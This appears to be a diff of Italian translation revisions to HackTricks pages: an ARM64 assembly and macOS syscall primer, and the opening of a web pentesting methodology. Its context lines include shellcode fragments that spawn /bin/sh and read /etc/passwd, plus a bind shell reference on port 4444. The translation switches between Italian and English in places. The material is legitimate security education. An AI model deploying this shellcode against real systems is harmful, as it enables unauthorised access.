-- `csetm Xd, Xn, Xm, cond` -> Se vero, Xd = \<tutti 1>, se falso, Xd = 0.
-- **`adrp`**: Calcola l'**indirizzo della pagina di un simbolo** e lo memorizza in un registro.
-- Esempio: `adrp x0, symbol` — Questo calcola l'indirizzo della pagina di `symbol` e lo memorizza in `x0`.
-- **`ldrsw`**: **Carica** un valore **firmato a 32 bit** dalla memoria e **estende il segno a 64** bit.
-- Esempio: `ldrsw x0, [x1]` — Questo carica un valore firmato a 32 bit dalla posizione di memoria puntata da `x1`, estende il segno a 64 bit e lo memorizza in `x0`.
-- **`stur`**: **Memorizza un valore di registro in una posizione di memoria**, utilizzando un offset da un altro registro.
-- Esempio: `stur x0, [x1, #4]` — Questo memorizza il valore in `x0` nell'indirizzo di memoria che è 4 byte maggiore dell'indirizzo attualmente in `x1`.
-- **`svc`** : Effettua una **chiamata di sistema**. Sta per "Supervisor Call". Quando il processore esegue questa istruzione, **passa dalla modalità utente alla modalità kernel** e salta a una posizione specifica in memoria dove si trova il codice di gestione delle chiamate di sistema del **kernel**.
+- **`tst`**: Controlla se alcuni dei valori del confronto sono entrambi 1 (funziona come un ANDS senza memorizzare il risultato da nessuna parte). È utile per controllare un registro con un valore e verificare se uno qualsiasi dei bit indicati è 1.
+- Example: `tst X1, #7` Controlla se uno degli ultimi 3 bit di X1 è 1
+- **`teq`**: Operazione XOR scartando il risultato
+- **`b`**: Branch incondizionato
+- Example: `b myFunction`
+- Nota che questo non popolerà il link register con l'indirizzo di ritorno (non adatto per chiamate a sottoroutine che devono ritornare)
+- **`bl`**: **Branch** with link, usato per **chiamare** una **subroutine**. Memorizza l'indirizzo di ritorno in **`x30`**.
+- Example: `bl myFunction` — Questo chiama la funzione `myFunction` e memorizza l'indirizzo di ritorno in `x30`.
+- Nota che questo non popolerà il link register con l'indirizzo di ritorno (non adatto per chiamate a sottoroutine che devono ritornare)
+- **`blr`**: **Branch** with Link to Register, usato per **chiamare** una **subroutine** dove la destinazione è **specificata** in un **registro**. Memorizza l'indirizzo di ritorno in `x30`. (Questo è
+- Example: `blr x1` — Questo chiama la funzione il cui indirizzo è contenuto in `x1` e memorizza l'indirizzo di ritorno in `x30`.
+- **`ret`**: **Ritorna** dalla **subroutine**, tipicamente usando l'indirizzo in **`x30`**.
+- Example: `ret` — Questo ritorna dalla subroutine corrente usando l'indirizzo di ritorno in `x30`.
+- **`b.<cond>`**: Branch condizionali
+- **`b.eq`**: **Branch se uguale**, basato sulla precedente istruzione `cmp`.
+- Example: `b.eq label` — Se la precedente istruzione `cmp` ha trovato due valori uguali, salta a `label`.
+- **`b.ne`**: **Branch se non uguale**. Questa istruzione controlla i flag di condizione (impostati da un precedente confronto), e se i valori confrontati non erano uguali, esegue il branch a un'etichetta o indirizzo.
+- Example: Dopo un'istruzione `cmp x0, x1`, `b.ne label` — Se i valori in `x0` e `x1` non erano uguali, salta a `label`.
+- **`cbz`**: **Compare and Branch on Zero**. Questa istruzione confronta un registro con zero, e se sono uguali, esegue il branch a un'etichetta o indirizzo.
+- Example: `cbz x0, label` — Se il valore in `x0` è zero, salta a `label`.
+- **`cbnz`**: **Compare and Branch on Non-Zero**. Questa istruzione confronta un registro con zero, e se non sono uguali, esegue il branch a un'etichetta o indirizzo.
+- Example: `cbnz x0, label` — Se il valore in `x0` non è zero, salta a `label`.
+- **`tbnz`**: Test di un bit e branch se non zero
+- Example: `tbnz x0, #8, label`
+- **`tbz`**: Test di un bit e branch se zero
+- Example: `tbz x0, #8, label`
+- **Operazioni di selezione condizionale**: Sono operazioni il cui comportamento varia a seconda dei bit condizionali.
+- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Se vero, X0 = X1, se falso, X0 = X2
+- `csinc Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = Xm + 1
+- `cinc Xd, Xn, cond` -> Se vero, Xd = Xn + 1, se falso, Xd = Xn
+- `csinv Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = NOT(Xm)
+- `cinv Xd, Xn, cond` -> Se vero, Xd = NOT(Xn), se falso, Xd = Xn
+- `csneg Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = - Xm
+- `cneg Xd, Xn, cond` -> Se vero, Xd = - Xn, se falso, Xd = Xn
+- `cset Xd, Xn, Xm, cond` -> Se vero, Xd = 1, se falso, Xd = 0
+- `csetm Xd, Xn, Xm, cond` -> Se vero, Xd = \<all 1>, se falso, Xd = 0
+- **`adrp`**: Calcola l'**indirizzo di pagina di un simbolo** e lo memorizza in un registro.
+- Example: `adrp x0, symbol` — Questo calcola l'indirizzo di pagina di `symbol` e lo memorizza in `x0`.
+- **`ldrsw`**: **Carica** un valore **signed 32-bit** dalla memoria e lo **sign-extend** a 64 bit.
+- Example: `ldrsw x0, [x1]` — Questo carica un valore signed 32-bit dall'indirizzo di memoria puntato da `x1`, lo estende con segno a 64 bit e lo memorizza in `x0`.
+- **`stur`**: **Memorizza** il valore di un registro in una locazione di memoria, usando un offset da un altro registro.
+- Example: `stur x0, [x1, #4]` — Questo memorizza il valore in `x0` nell'indirizzo di memoria che è 4 byte maggiore dell'indirizzo attualmente in `x1`.
+- **`svc`** : Esegue una **system call**. Sta per "Supervisor Call". Quando il processore esegue questa istruzione, **passa da user mode a kernel mode** e salta a una locazione di memoria specifica dove è presente il codice di gestione delle system call del **kernel**.
 
-- Esempio:
+- Example:
 
 ```armasm
-mov x8, 93  ; Carica il numero di chiamata di sistema per l'uscita (93) nel registro x8.
-mov x0, 0   ; Carica il codice di stato di uscita (0) nel registro x0.
-svc 0       ; Effettua la chiamata di sistema.
+mov x8, 93  ; Load the system call number for exit (93) into register x8.
+mov x0, 0   ; Load the exit status code (0) into register x0.
+svc 0       ; Make the system call.
 ```
 
-### **Prologo della Funzione**
+### **Function Prologue**
 
-1. **Salva il registro di link e il puntatore di frame nello stack**:
+1. **Salvare il link register e il frame pointer nello stack**:
 ```armasm
 stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
 ```
-2. **Imposta il nuovo puntatore di frame**: `mov x29, sp` (imposta il nuovo puntatore di frame per la funzione corrente)  
-3. **Alloca spazio nello stack per le variabili locali** (se necessario): `sub sp, sp, <size>` (dove `<size>` è il numero di byte necessari)  
+2. **Imposta il nuovo frame pointer**: `mov x29, sp` (imposta il nuovo frame pointer per la funzione corrente)
+3. **Alloca spazio sullo stack per le variabili locali** (se necessario): `sub sp, sp, <size>` (dove `<size>` è il numero di byte necessari)
 
-### **Epilogo della Funzione**
+### **Epilogo della funzione**
 
-1. **Dealloca le variabili locali (se ne erano state allocate)**: `add sp, sp, <size>`  
-2. **Ripristina il registro di collegamento e il puntatore di frame**:
+1. **Dealloca le variabili locali (se ne sono state allocate)**: `add sp, sp, <size>`
+2. **Ripristina il link register e il frame pointer**:
 ```armasm
 ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
 ```
-3. **Return**: `ret` (restituisce il controllo al chiamante utilizzando l'indirizzo nel registro di collegamento)
+3. **Return**: `ret` (restituisce il controllo al chiamante usando l'indirizzo nel link register)
 
-## Stato di Esecuzione AARCH32
+## AARCH32 Execution State
 
-Armv8-A supporta l'esecuzione di programmi a 32 bit. **AArch32** può funzionare in uno dei **due set di istruzioni**: **`A32`** e **`T32`** e può passare da uno all'altro tramite **`interworking`**.\
-I programmi **privilegiati** a 64 bit possono pianificare l'**esecuzione di programmi a 32 bit** eseguendo un trasferimento di livello di eccezione al 32 bit meno privilegiato.\
-Si noti che la transizione da 64 bit a 32 bit avviene con una diminuzione del livello di eccezione (ad esempio, un programma a 64 bit in EL1 che attiva un programma in EL0). Questo viene fatto impostando il **bit 4 di** **`SPSR_ELx`** registro speciale **a 1** quando il thread di processo `AArch32` è pronto per essere eseguito e il resto di `SPSR_ELx` memorizza il **CPSR** dei programmi **`AArch32`**. Poi, il processo privilegiato chiama l'istruzione **`ERET`** affinché il processore transiti a **`AArch32`** entrando in A32 o T32 a seconda del CPSR**.**
+Armv8-A supporta l'esecuzione di programmi a 32-bit. **AArch32** può funzionare in uno dei **due set di istruzioni**: **`A32`** e **`T32`** e può passare tra di essi tramite **`interworking`**.\
+**Privilegiati**  programmi a 64-bit possono schedulare l'**esecuzione di programmi a 32-bit** eseguendo un trasferimento del livello di eccezione al 32-bit con privilegi inferiori.\
+Si noti che la transizione da 64-bit a 32-bit avviene con un livello di eccezione inferiore (per esempio un programma a 64-bit in EL1 che avvia un programma in EL0). Questo si ottiene impostando il **bit 4 di** **`SPSR_ELx`** (registro speciale) **a 1** quando il thread di processo `AArch32` è pronto per essere eseguito e il resto di `SPSR_ELx` memorizza il CPSR del programma **`AArch32`**. Poi, il processo privilegiato invoca l'istruzione **`ERET`** così il processore transita in **`AArch32`** entrando in A32 o T32 a seconda del CPSR**.**
 
-L'**`interworking`** avviene utilizzando i bit J e T del CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Questo si traduce fondamentalmente nell'impostare il **bit più basso a 1** per indicare che il set di istruzioni è T32.\
-Questo viene impostato durante le **istruzioni di salto interworking**, ma può anche essere impostato direttamente con altre istruzioni quando il PC è impostato come registro di destinazione. Esempio:
+L'**`interworking`** avviene usando i bit J e T del CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Questo fondamentalmente si traduce nell'impostare il **bit meno significativo a 1** per indicare che il set di istruzioni è T32.\
+Questo viene impostato durante le **interworking branch instructions,** ma può anche essere impostato direttamente con altre istruzioni quando il PC è impostato come registro di destinazione. Esempio:
 
 Un altro esempio:
 ```armasm
@@ -264,60 +267,60 @@ mov r0, #8
 ```
 ### Registri
 
-Ci sono 16 registri a 32 bit (r0-r15). **Da r0 a r14** possono essere utilizzati per **qualsiasi operazione**, tuttavia alcuni di essi sono solitamente riservati:
+Ci sono 16 registri a 32 bit (r0-r15). **Da r0 a r14** possono essere usati per **qualsiasi operazione**, tuttavia alcuni di essi sono solitamente riservati:
 
-- **`r15`**: Contatore di programma (sempre). Contiene l'indirizzo della prossima istruzione. In A32 corrente + 8, in T32, corrente + 4.
-- **`r11`**: Puntatore di Frame
-- **`r12`**: Registro di chiamata intra-procedurale
-- **`r13`**: Puntatore di Stack
-- **`r14`**: Registro di Link
+- **`r15`**: Program counter (sempre). Contiene l'indirizzo della prossima istruzione. In A32 corrente + 8, in T32 corrente + 4.
+- **`r11`**: Frame Pointer
+- **`r12`**: Intra-procedural call register
+- **`r13`**: Stack Pointer (Nota che lo stack è sempre allineato a 16 byte)
+- **`r14`**: Link Register
 
-Inoltre, i registri sono salvati in **`registri bancari`**. Questi sono luoghi che memorizzano i valori dei registri consentendo di eseguire **veloci cambi di contesto** nella gestione delle eccezioni e nelle operazioni privilegiate per evitare la necessità di salvare e ripristinare manualmente i registri ogni volta.\
-Questo avviene **salvando lo stato del processore dal `CPSR` al `SPSR`** della modalità del processore a cui viene presa l'eccezione. Al ritorno dall'eccezione, il **`CPSR`** viene ripristinato dal **`SPSR`**.
+Inoltre, i registri vengono salvati in **`banked registries`**. Si tratta di aree che memorizzano i valori dei registri consentendo di eseguire una **commutazione di contesto veloce** nella gestione delle eccezioni e nelle operazioni privilegiate, evitando la necessità di salvare e ripristinare manualmente i registri ogni volta.  
+Questo avviene salvando lo stato del processore da `CPSR` a `SPSR` della modalità del processore a cui viene gestita l'eccezione. Al ritorno dall'eccezione, il **`CPSR`** viene ripristinato dal **`SPSR`**.
 
-### CPSR - Registro di Stato del Programma Corrente
+### CPSR - Current Program Status Register
 
-In AArch32 il CPSR funziona in modo simile a **`PSTATE`** in AArch64 ed è anche memorizzato in **`SPSR_ELx`** quando viene presa un'eccezione per ripristinare successivamente l'esecuzione:
+In AArch32 il CPSR funziona in modo simile a **`PSTATE`** in AArch64 ed è anche memorizzato in **`SPSR_ELx`** quando viene presa un'eccezione per poi ripristinare l'esecuzione:
 
 <figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
 
 I campi sono divisi in alcuni gruppi:
 
-- Registro di Stato del Programma Applicativo (APSR): Flag aritmetici e accessibili da EL0
-- Registri di Stato di Esecuzione: Comportamento del processo (gestito dal sistema operativo).
+- Application Program Status Register (APSR): flag aritmetici e accessibile da EL0
+- Execution State Registers: comportamento del processo (gestito dal OS).
 
-#### Registro di Stato del Programma Applicativo (APSR)
+#### Application Program Status Register (APSR)
 
 - I flag **`N`**, **`Z`**, **`C`**, **`V`** (proprio come in AArch64)
-- Il flag **`Q`**: Viene impostato a 1 ogni volta che **si verifica una saturazione intera** durante l'esecuzione di un'istruzione aritmetica specializzata di saturazione. Una volta impostato a **`1`**, manterrà il valore fino a quando non viene impostato manualmente a 0. Inoltre, non esiste alcuna istruzione che controlli il suo valore implicitamente, deve essere fatto leggendo manualmente.
-- Flag **`GE`** (Maggiore o uguale): Viene utilizzato nelle operazioni SIMD (Single Instruction, Multiple Data), come "somma parallela" e "sottrazione parallela". Queste operazioni consentono di elaborare più punti dati in un'unica istruzione.
+- Il flag **`Q`**: viene impostato a 1 ogni volta che si verifica una **saturazione intera** durante l'esecuzione di un'istruzione aritmetica saturante specializzata. Una volta impostato a **`1`**, mantiene il valore fino a quando non viene manualmente impostato a 0. Inoltre, non esiste alcuna istruzione che ne verifichi implicitamente il valore; deve essere letto manualmente.
+- Flag **`GE`** (Greater than or equal): viene usato nelle operazioni SIMD (Single Instruction, Multiple Data), come "parallel add" e "parallel subtract". Queste operazioni permettono di elaborare più punti dati in una singola istruzione.
 
-Ad esempio, l'istruzione **`UADD8`** **somma quattro coppie di byte** (da due operandi a 32 bit) in parallelo e memorizza i risultati in un registro a 32 bit. Imposta quindi **i flag `GE` nell'`APSR`** in base a questi risultati. Ogni flag GE corrisponde a una delle somme di byte, indicando se la somma per quella coppia di byte **è traboccata**.
+Ad esempio, l'istruzione **`UADD8`** aggiunge quattro coppie di byte (da due operandi a 32 bit) in parallelo e memorizza i risultati in un registro a 32 bit. Imposta poi i flag **`GE`** nell'`APSR` basandosi su questi risultati. Ogni flag GE corrisponde a una delle addizioni di byte, indicando se l'addizione per quella coppia di byte è andata in **overflow**.
 
-L'istruzione **`SEL`** utilizza questi flag GE per eseguire azioni condizionali.
+L'istruzione **`SEL`** usa questi flag GE per eseguire azioni condizionali.
 
-#### Registri di Stato di Esecuzione
+#### Execution State Registers
 
-- I bit **`J`** e **`T`**: **`J`** dovrebbe essere 0 e se **`T`** è 0 viene utilizzato il set di istruzioni A32, e se è 1, viene utilizzato il T32.
-- **Registro di Stato del Blocco IT** (`ITSTATE`): Questi sono i bit da 10-15 e 25-26. Memorizzano le condizioni per le istruzioni all'interno di un gruppo prefissato **`IT`**.
-- Bit **`E`**: Indica l'**endianness**.
-- Bit di Maschera di Modalità ed Eccezione (0-4): Determinano lo stato di esecuzione corrente. Il **5°** indica se il programma viene eseguito come 32 bit (un 1) o 64 bit (uno 0). Gli altri 4 rappresentano la **modalità di eccezione attualmente in uso** (quando si verifica un'eccezione e viene gestita). Il numero impostato **indica la priorità corrente** nel caso venga attivata un'altra eccezione mentre questa viene gestita.
+- I bit **`J`** e **`T`**: **`J`** dovrebbe essere 0 e se **`T`** è 0 viene usato il set di istruzioni A32, se è 1 viene usato T32.
+- **IT Block State Register** (`ITSTATE`): sono i bit 10-15 e 25-26. Memorizzano le condizioni per le istruzioni all'interno di un gruppo prefissato con **`IT`**.
+- Bit **`E`**: indica la **endianness**.
+- **Mode and Exception Mask Bits** (0-4): determinano lo stato di esecuzione corrente. Il **5°** indica se il programma gira come 32bit (1) o 64bit (0). Gli altri 4 rappresentano la modalità di eccezione attualmente in uso (quando si verifica un'eccezione e viene gestita). Il numero impostato **indica la priorità corrente** nel caso in cui un'altra eccezione venga generata mentre questa è in gestione.
 
 <figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
 
-- **`AIF`**: Alcune eccezioni possono essere disabilitate utilizzando i bit **`A`**, `I`, `F`. Se **`A`** è 1 significa che verranno attivati **aborti asincroni**. Il **`I`** configura per rispondere alle **Richieste di Interruzione** (IRQ) hardware esterne. e il F è relativo alle **Richieste di Interruzione Veloce** (FIR).
+- **`AIF`**: Alcune eccezioni possono essere disabilitate usando i bit **`A`**, `I`, `F`. Se **`A`** è 1 significa che verranno attivati gli **asynchronous aborts**. Il bit **`I`** configura la risposta alle richieste di interrupt hardware esterne (IRQ). Il bit **`F`** è correlato alle **Fast Interrupt Requests** (FIRs).
 
 ## macOS
 
-### Chiamate di sistema BSD
+### BSD syscalls
 
-Controlla [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Le chiamate di sistema BSD avranno **x16 > 0**.
+Consulta [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) oppure esegui `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. Le BSD syscalls avranno **x16 > 0**.
 
-### Trappole Mach
+### Mach Traps
 
-Controlla in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) la `mach_trap_table` e in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) i prototipi. Il numero massimo di trappole Mach è `MACH_TRAP_TABLE_COUNT` = 128. Le trappole Mach avranno **x16 < 0**, quindi devi chiamare i numeri dall'elenco precedente con un **meno**: **`_kernelrpc_mach_vm_allocate_trap`** è **`-10`**.
+Guarda in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) la `mach_trap_table` e in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) i prototipi. Il numero massimo di Mach traps è `MACH_TRAP_TABLE_COUNT` = 128. I Mach traps avranno **x16 < 0**, quindi è necessario chiamare i numeri della lista precedente con un **meno**: **`_kernelrpc_mach_vm_allocate_trap`** è **`-10`**.
 
-Puoi anche controllare **`libsystem_kernel.dylib`** in un disassemblatore per trovare come chiamare queste (e BSD) chiamate di sistema:
+Puoi anche controllare **`libsystem_kernel.dylib`** in un disassembler per scoprire come chiamare queste syscall (e le BSD):
 ```bash
 # macOS
 dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
 # iOS
 dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
 ```
-Nota che **Ida** e **Ghidra** possono anche decompilare **dylibs specifici** dalla cache semplicemente passando attraverso la cache.
+Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache.
 
 > [!TIP]
-> A volte è più facile controllare il codice **decompilato** di **`libsystem_kernel.dylib`** **che** controllare il **codice sorgente** perché il codice di diverse syscalls (BSD e Mach) è generato tramite script (controlla i commenti nel codice sorgente) mentre nella dylib puoi trovare cosa viene chiamato.
+> A volte è più facile controllare il codice **decompiled** di **`libsystem_kernel.dylib`** **than** controllare il **codice sorgente** perché il codice di diverse syscalls (BSD e Mach) è generato tramite script (controlla i commenti nel codice sorgente), mentre nel dylib puoi trovare cosa viene effettivamente chiamato.
 
-### chiamate machdep
+### machdep calls
 
-XNU supporta un altro tipo di chiamate chiamate dipendenti dalla macchina. I numeri di queste chiamate dipendono dall'architettura e né le chiamate né i numeri sono garantiti per rimanere costanti.
+XNU supporta un altro tipo di chiamate chiamate machine-dependent. I numeri di queste chiamate dipendono dall'architettura e né le chiamate né i numeri sono garantiti di rimanere costanti.
 
-### pagina comm
+### comm page
 
-Questa è una pagina di memoria di proprietà del kernel che è mappata nello spazio degli indirizzi di ogni processo utente. È progettata per rendere la transizione dalla modalità utente allo spazio kernel più veloce rispetto all'uso delle syscalls per i servizi del kernel che vengono utilizzati così tanto che questa transizione sarebbe molto inefficiente.
+This is a kernel owner memory page that is mapped into the address scape of every users process. It's meant to make the transition from user mode to kernel space faster than using syscalls for kernel services that are used so much the this transition would be vey inneficient.
 
-Ad esempio, la chiamata `gettimeofdate` legge il valore di `timeval` direttamente dalla pagina comm.
+Per esempio la chiamata `gettimeofdate` legge il valore di `timeval` direttamente dalla comm page.
 
 ### objc_msgSend
 
-È molto comune trovare questa funzione utilizzata in programmi Objective-C o Swift. Questa funzione consente di chiamare un metodo di un oggetto Objective-C.
+È molto comune trovare questa funzione usata in programmi Objective-C o Swift. Questa funzione permette di chiamare un metodo di un oggetto Objective-C.
 
 Parametri ([maggiori informazioni nella documentazione](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
 
 - x0: self -> Puntatore all'istanza
-- x1: op -> Selettore del metodo
-- x2... -> Resto degli argomenti del metodo invocato
+- x1: op -> Selector del metodo
+- x2... -> Il resto degli argomenti del metodo invocato
 
-Quindi, se metti un breakpoint prima del ramo a questa funzione, puoi facilmente trovare cosa viene invocato in lldb con (in questo esempio l'oggetto chiama un oggetto da `NSConcreteTask` che eseguirà un comando):
+Quindi, se metti un breakpoint prima del branch verso questa funzione, puoi facilmente scoprire cosa viene invocato in lldb con (in questo esempio l'oggetto chiama un oggetto di `NSConcreteTask` che eseguirà un comando):
 ```bash
 # Right in the line were objc_msgSend will be called
 (lldb) po $x0
@@ -369,31 +372,31 @@ whoami
 )
 ```
 > [!TIP]
-> Impostando la variabile di ambiente **`NSObjCMessageLoggingEnabled=1`** è possibile registrare quando questa funzione viene chiamata in un file come `/tmp/msgSends-pid`.
+> Impostando la variabile d'ambiente **`NSObjCMessageLoggingEnabled=1`** è possibile ottenere un log quando questa funzione viene chiamata in un file come `/tmp/msgSends-pid`.
 >
-> Inoltre, impostando **`OBJC_HELP=1`** e chiamando qualsiasi binario puoi vedere altre variabili di ambiente che potresti usare per **log** quando si verificano determinate azioni Objc-C.
+> Inoltre, impostando **`OBJC_HELP=1`** e chiamando qualsiasi binary puoi vedere altre environment variables che potresti usare per **log** quando certe azioni Objc-C si verificano.
 
-Quando questa funzione viene chiamata, è necessario trovare il metodo chiamato dell'istanza indicata, per questo vengono effettuate diverse ricerche:
+Quando questa funzione viene chiamata, è necessario trovare il metodo chiamato dell'istanza indicata; per questo vengono eseguite diverse ricerche:
 
-- Esegui la ricerca della cache ottimistica:
-- Se ha successo, fatto
-- Acquisisci runtimeLock (lettura)
-- Se (realize && !cls->realized) realizza la classe
-- Se (initialize && !cls->initialized) inizializza la classe
-- Prova la cache della classe:
-- Se ha successo, fatto
-- Prova l'elenco dei metodi della classe:
-- Se trovato, riempi la cache e fatto
-- Prova la cache della superclasse:
-- Se ha successo, fatto
-- Prova l'elenco dei metodi della superclasse:
-- Se trovato, riempi la cache e fatto
-- Se (resolver) prova il risolutore di metodi e ripeti dalla ricerca della classe
-- Se sei ancora qui (= tutto il resto è fallito) prova il forwarder
+- Eseguire una lookup ottimistica della cache:
+- Se ha esito positivo, terminare
+- Acquisire runtimeLock (read)
+- If (realize && !cls->realized) realize class
+- If (initialize && !cls->initialized) initialize class
+- Provare la cache della classe:
+- Se ha esito positivo, terminare
+- Controllare la method list della classe:
+- Se trovata, popolare la cache e terminare
+- Provare la cache della superclasse:
+- Se ha esito positivo, terminare
+- Controllare la method list della superclasse:
+- Se trovata, popolare la cache e terminare
+- If (resolver) try method resolver, and repeat from class lookup
+- Se sei ancora qui (= tutto il resto ha fallito) provare il forwarder
 
 ### Shellcodes
 
-Per compilare:
+To compile:
 ```bash
 as -o shell.o shell.s
 ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
@@ -408,7 +411,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ;
 echo -n '\\x'$c
 done
 ```
-Per le versioni più recenti di macOS:
+Per macOS più recenti:
 ```bash
 # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
 for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
@@ -467,7 +470,7 @@ return 0;
 
 #### Shell
 
-Preso da [**qui**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) e spiegato.
+Tratto da [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) e spiegato.
 
 {{#tabs}}
 {{#tab name="with adr"}}
@@ -487,7 +490,7 @@ sh_path: .asciz "/bin/sh"
 ```
 {{#endtab}}
 
-{{#tab name="con lo stack"}}
+{{#tab name="with stack"}}
 ```armasm
 .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
 .global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
@@ -518,7 +521,7 @@ svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter,
 ```
 {{#endtab}}
 
-{{#tab name="con adr per linux"}}
+{{#tab name="with adr for linux"}}
 ```armasm
 ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
 .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
@@ -539,7 +542,7 @@ sh_path: .asciz "/bin/sh"
 
 #### Leggi con cat
 
-L'obiettivo è eseguire `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, quindi il secondo argomento (x1) è un array di parametri (che in memoria significa uno stack degli indirizzi).
+L'obiettivo è eseguire `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, quindi il secondo argomento (x1) è un array di parametri (che in memoria significa uno stack degli addresses).
 ```armasm
 .section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
 .global _main              ; Declare a global symbol _main
@@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat"
 .align 2
 passwd_path: .asciz "/etc/passwd"
 ```
-#### Esegui il comando con sh da un fork in modo che il processo principale non venga terminato
+#### Invocare un comando con sh da un fork in modo che il processo principale non venga terminato
 ```armasm
 .section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
 .global _main              ; Declare a global symbol _main
@@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala"
 ```
 #### Bind shell
 
-Bind shell da [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) in **porta 4444**
+Bind shell da [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) in **port 4444**
 ```armasm
 .section __TEXT,__text
 .global _main

src/network-services-pentesting/pentesting-web/README.md

@@ -1,12 +1,12 @@
-# 80,443 - Metodologia di Pentesting Web
+# 80,443 - Metodologia Pentesting Web
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Informazioni di base
 
-Il servizio web è il servizio più **comune e diffuso** e esistono molti **tipi diversi di vulnerabilità**.
+Il servizio web è il servizio più **comune e diffuso** e esistono molti **diversi tipi di vulnerabilità**.
 
-**Porta di default:** 80 (HTTP), 443(HTTPS)
+**Porta predefinita:** 80 (HTTP), 443(HTTPS)
 ```bash
 PORT    STATE SERVICE
 80/tcp  open  http
@@ -24,48 +24,48 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 web-api-pentesting.md
 {{#endref}}
 
-## Riepilogo della metodologia
+## Riassunto della metodologia
 
-> In questa metodologia supponiamo che tu stia per attaccare un dominio (o sottodominio) e solo quello. Quindi, dovresti applicare questa metodologia a ogni dominio, sottodominio o IP scoperto con server web non determinato all'interno dello scope.
+> In questa metodologia supponiamo che tu stia per attaccare un dominio (o sottodominio) e solo quello. Quindi, dovresti applicare questa metodologia a ogni dominio, sottodominio o IP scoperto con web server non determinato all'interno dell'ambito.
 
-- [ ] Inizia **identificando** le **tecnologie** utilizzate dal web server. Cerca **trucchi** da tenere a mente per il resto del test se riesci a identificare con successo la tecnologia.
-- [ ] Esistono **vulnerabilità note** per la versione della tecnologia?
-- [ ] Stai usando qualche **well known tech**? Qualche **useful trick** per estrarre più informazioni?
-- [ ] Qualche **specialised scanner** da eseguire (come wpscan)?
-- [ ] Avvia **general purposes scanners**. Non sai mai se troveranno qualcosa o informazioni interessanti.
-- [ ] Inizia con i **controlli iniziali**: **robots**, **sitemap**, errore **404** e **SSL/TLS scan** (se HTTPS).
-- [ ] Avvia lo **spidering** della pagina web: è il momento di **trovare** tutti i possibili **files, folders** e **parameters** in uso. Inoltre, controlla eventuali scoperte particolari.
-- [ ] _Nota che ogni volta che una nuova directory viene scoperta durante brute-forcing o spidering, dovrebbe essere spidered._
-- [ ] **Directory Brute-Forcing**: Prova a brute force tutte le folders scoperte cercando nuovi **files** e **directories**.
-- [ ] _Nota che ogni volta che una nuova directory viene scoperta durante brute-forcing o spidering, dovrebbe essere Brute-Forced._
-- [ ] **Backups checking**: Verifica se puoi trovare **backups** dei **discovered files** aggiungendo estensioni di backup comuni.
-- [ ] **Brute-Force parameters**: Prova a trovare **hidden parameters**.
-- [ ] Una volta che hai **identificato** tutti i possibili **endpoints** che accettano **user input**, verifica tutti i tipi di **vulnerabilities** correlati.
-- [ ] [Segui questa checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
